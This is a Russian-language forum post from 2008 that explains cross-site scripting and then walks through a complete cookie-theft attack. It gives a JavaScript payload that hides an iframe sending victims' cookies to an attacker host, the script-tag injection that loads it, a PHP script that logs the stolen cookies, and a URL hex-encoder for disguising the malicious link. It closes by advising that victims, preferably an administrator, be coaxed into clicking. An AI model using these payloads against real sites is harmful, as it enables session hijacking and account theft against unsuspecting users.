Есть вопрос?
Зайди на форум

Поиск на сайте: Advanced

Denix - новый дистрибутив Linux. Русификация Ubuntu и установка кодеков

dkws.org.ua
Форум сайта dkws.org.ua
 
Главная    ТемыТемы    АльбомАльбом    РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

XSS-атака. Общий подход.

 
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> Безопасность
 
Автор Сообщение
den

Старожил


Зарегистрирован: 31.01.2006
Сообщения: 13858
Откуда: Кировоград, Украина

СообщениеДобавлено: Вт Окт 07, 2008 6:16 am    Заголовок сообщения: XSS-атака. Общий подход.
Ответить с цитатой

Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы Cross Site Scripting, что дословно переводится как межсайтовый скрптинг. Отсюда видно, что верная аббревиатура CSS. Но CSS уже существует, она означает Cascading Style Sheets – каскадные таблицы стилей. Чтобы не возникало путаницы, принято межсайтовый скриптинг называть не CSS, а XSS. Это тип уязвимости системы, позволяющий внедрять в код страниц HTML-код. Этот тип уязвимости используется не для атаки сервера, а для атаки его пользователей, просматривающих зараженные страницы.

Чем может быть опасна возможность внедрять свой HTML-код? Сам по себе HTML-код не несет в себе опасности, так как возможностей там не так много. Для расширения его возможностей есть поддержка JavaScript – вот его-то и используют хакеры. Потому как JavaScript исполняется на стороне клиента, этот вид атаки направлен именно на клиентов, а не на сервер.

Смысл этой атаки заключается в том, чтобы узнать значения некоторых переменных у пользователя. А чаще всего, узнать хочется значения тех переменных, которые хранятся у пользователя в COOKIES'ах.

JavaScript позволяет получить доступ к COOKIES пользователя следующим образом:

Цитата:
document.cookie


Это мы учтем. Но мы не можем просто взять и попросить пользователя пройти по ссылке на наш web-сервер, где ему будет выдана страничка, считывающая все COOKIES. Чтобы пользователи так легко не были взломаны, предусмотрена следующая система:
COOKIES’ы сортируются по сайтам, которые их установили пользователю
Считать COOKIES определенного сайта (например, сайта www.site.ru) может только сайт, установивший ее (в данном случае, только www.site.ru)

Это нам сильно усложняет жизнь. Надо каким-то образом вставить код, отправляющий эти COOKIES нам, на том сайте, который имеет право на считывание этих COOKIES. Для этого мы ищем на сайте любые места, куда мы можем вставить свой HTML-код. Это могут быть как переменные, передаваемые в командной строке, так и любые другие, которые мы можем модифицировать. Где-нибудь на форумах или в чате это могут быть поля ввода сообщений, или же наш собственный ник. Например, можно ввести в качестве ника: Quote
mi<B>cr</B>on


Если дальше в нике две средние буквы будут отображаться жирным шрифтом, значит в это поле можно внедрять свой HTML-код.

XSS можно условно разделить на 2 вида:
Активные – при которых пользователь сразу зайдя на зараженную страницу, отправит нам свои данные.
Пассивные – при которых от пользователя потребуются дополнительные действия. Например, надо будет нажать на специально модифицированную ссылку.

Давайте рассмотрим общий прием того, какой HTML-код следует вписывать на страницу. Для начала нам следует зарегистрировать сайт на каком-нибудь хостинге. Можно на бесплатном. Допустим, это будет myhost.hut.ru. На нем создаем файл file.js со следующим содержимым:

Цитата:
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://myhost.hut.ru/file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>');


Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:

Цитата:
<script src=http://myhost.hut.ru/file.js></script>


Этот код открывает невидимый фрейм, в котором загружается файл http://myhost.hut.ru/file.php (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта. Вот и сбылся наш план – мы запустили php-скрипт на нашем сервере и передали ему данные, полученные другим скриптом (на JavaScript). Самая сложная часть заканчивается. Теперь мы уже в спокойной обстановке у себя на сервере сохраним эти данные в файл. Для этого запишем в файл file.php следующий код:

Цитата:
<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”\r\n");
fclose($file);
?>


Данный код предельно прост – записывает в файл cookies.txt полученные данные.
На этом вобщем-то и заканчивается вся техника. Если для того, чтобы запустить весь описанный механизм от пользователя требуется перейти по определенной ссылке, например: Quote
http://site.ru/info.php?login=<script src=http://myhost.hut.ru/file.js></script>

то можно зашифровать часть строки (). Так как при переходе по этой ссылке, эта строка будет передаваться в адресной строке браузера, ее можно перевести в шестнадцатеричный код. Для этого можно написать несложный скрипт, пусть он будет называться encodeurl.php:

Цитата:
<?
$str = urldecode($_GET['str']);
for($i=0;$i<strlen($str);$i++) {
if($str[$i]=='&')
{
echo "$str[$i]";
}
else
{
$hex=dechex(ord($str[$i]));
echo "%$hex";
}
}
?>


И передадим ему параметром str ту часть строки, которую будем шифровать:

Цитата:
http://myhost.hut.ru/encodeurl.php?str=<script src=http://myhost.hut.ru/file.js></script>


Он выдаст нам следующий текст:

Цитата:
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f
%2f%6d%79%68%6f%73%74%2e%68%75%74%2e%72%75%2f%66%69%6c%65%2e
%6a%73%3e%3c%2f%73%63%72%69%70%74%3e



Берем нашу специально модифицированную для атаки ссылку (http://site.ru/info.php?login=) и заменяем в ней часть строки на зашифрованную строку:

Цитата:
http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68
%74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e
%72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e


Теперь в глаза не бросается вредоносный код. И мы смело можем упрашивать жертву зайти по этой ссылке. Либо разместить ее на форуме, где кто-нибудь ее нажмет (лучше всего, если это будет администратор

Автор: micron
e-mail: micron_advanced@mail.ru
Вернуться к началу
Посмотреть профиль Отправить личное сообщение dhsilabs@jabber.ru
Показать сообщения:   
Начать новую тему Ответить на тему    Список форумов dkws.org.ua -> Безопасность Часовой пояс: GMT
Страница 1 из 1
 Главная страница сайта
 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
© Колисниченко Денис